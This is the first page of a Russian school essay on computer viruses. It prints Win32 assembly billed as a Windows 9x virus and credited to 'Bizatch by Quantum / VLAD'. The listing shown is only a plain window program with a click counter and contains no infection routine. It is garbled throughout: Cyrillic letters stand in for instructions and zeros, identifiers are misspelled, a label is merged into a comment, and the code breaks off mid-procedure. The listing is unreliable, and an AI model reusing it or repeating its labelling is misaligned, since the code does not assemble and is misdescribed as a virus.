Реферат: Компьютерные вирусы
Пример вируса под Windows 9x.
.386
locals
jumps
.model flat,STDCALL
include win32.inc ;некоторые 32-битные константы и структуры
L equ <LARGE>
;Определим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess:PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn InvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadIconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ <CreateWindowExA>
DefWindowProc equ <DefWindowProcA>
DispatchMessage equ <DispatchMessageA>
FindWindow equ <FindWindowA>
GetMessage equ <GetMessageA>
GetModuleHandle equ <GetModuleHandleA>
LoadCursor equ <LoadCursorA>
LoadIcon equ <LoadIconA>
MessageBox equ <MessageBoxA>
RegisterClass equ <RegisterClassA>
TextOut equ <TextOutA>
.data
newhwnd dd 0
lppaint PAINTSTRUCT <?>
msg MSGSTRUCT <?>
wc WNDCLASS <?>
mbx_count dd 0
hInst dd 0
szTitleName db "Bizatch by Quantum / VLAD activated"
zero db 0
szAlternate db "more than once",0
szClassName db "ASMCLASS32",0
;Сообщение выводимое в окне
szPaint db "Left button pressed:"
s_num db "00000000h times.",0
;Размер сообщения
MSG_L EQU ($-offset szPaint)-1
.code
;Сюда обычно передается управление от загрузчика.
start:
;Получим HMODULE
push L 0
call GetModuleHandle
mov [hInst],eax
push L 0
push offset szClassName
call FindWindow
or eax,eax
jz reg_class
;Пространство для модификации строки заголовка
mov [zero]," "
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hInst]
mov [wc.clsHInstance],eax
;Загружаем значок
push L IDI_APPLICATION
push L 0
call LoadIcon
mov [wc.clsHIcon],eax
;Загружаем курсор
push L IDC_ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor],eax
;Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clsLpszClassName],offset szClassName
;Регистрирем класс окна
push offset wc
call RegisterClass
;Создаем окно
push L 0 ;lpParam
push [hInst] ;hInstance
push L 0 ;Меню
push L 0 ;hwnd родительского окна
push L CW_USEDEFAULT ;Высота
push L CW_USEDEFAULT ;Длина
push L CW_USEDEFAULT ;Y
push L CW_USEDEFAULT ;X
push L WS_OVERLAPEEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class Name
push L 0 ;extra style
call CreateWindowEx
;Сохраняем HWND
mov [newhwnd],eax
;Отображаем окно на экране
push L SW_SHOWNORMAL
push [newhwnd]
call ShowWindow
;Обновляем содержимое окна
push [newhwnd]
call UpdateWindow
;Очередь сообщений
msg_loop:
;Прочитаем следующее сообщение из очереди
push L 0
push L 0
push L 0
push offset msg
call GetMessage
;Если функция GetMessage вернула нулевое значение,
;то завершаем обработку сообщений и выходим из процесса
cmp ax,0
je end_loop
;преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
;Предаем это сообщение назад в Windows
push offset msg
call DispatchMessage
;Переходим к следующему сообщению
jmp msg_loop
;Выходим из процесса
end_loop:
push [msg.msWPARAM]
call ExitProcess
;Обработка сообщений окна. Win32 требует сохранения регистров
;EBX, EDI, ESI. запишем эти регистры после "uses" в строке "proc"
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi,hwnd:DWORD, wmsg:DWORD,
wparam:DWORD, lparam:DWORD
LOCAL theDC:DWORD
;Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
стр [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg],WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wmpaint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
;Данная программа не обрабатывает это сообщение.
;Передадим его Windows,
;чтобы оно было обработано по умолчанию
jmp defwndproc
;Сообщение WM_PAINT (перерисовать содержимое окна)wmpaint:
;Подготовим окно для перерисовки
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII-формат значение mbx_count, которое
;доказывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
; Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC
call TextOut
;0бозначим завершение перерисовки окна
push offset Ippaint
push [hwnd]
call EndPaint
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_CREATE (создание окна)
wmcreate:
; Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:
push [Iparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
; Выходим из обработки сообщения
jmp finish
;Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:
; Закроем поток
push L О
call PostQuitMessage
;Выходим из обработки сообщения
mov eax, О
jmp finish
;Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)
wmlbuttondown:
inc [mbx_count]
;0бновим содержимое окна
push L 0
push L 0
push [hwnd]
call InvalidateRect
[Выходим из обработки сообщения
mov eax, О
jmp finish
;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0
call MessageBeep
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_SIZE (изменен размер окна)
wmsize:
;Выходим из обработки сообщения
mov eax, О
jmp finish
;Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:
;Заполним структуру MINMAXINFO
mov ebx, [Iparam]
mov [(MINMAXINFO ptr. ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
;Выходим из обработки сообщения
mov eax, О
jmp finish
;Выходим из обработки сообщения
finish:
ret
WndProc endp
;Процедура перевода байта в ASCII-формат для печати. Значение,
;находящееся в регистре AL, будет записано в ASCII-формате
;по адресу ES-.EDI
HexWriteS proc
;Разделяем байт на полубайты и загружаем их в регистры АН и AL
mov ah,al
and al.0Fh
shr ah,4
;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
;соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h
;Меняем полубайты местами, чтобы регистр АН содержал младший
;полубайт, а регистр AL - старший
Страницы: 1, 2, 3, 4, 5, 6, 7, 8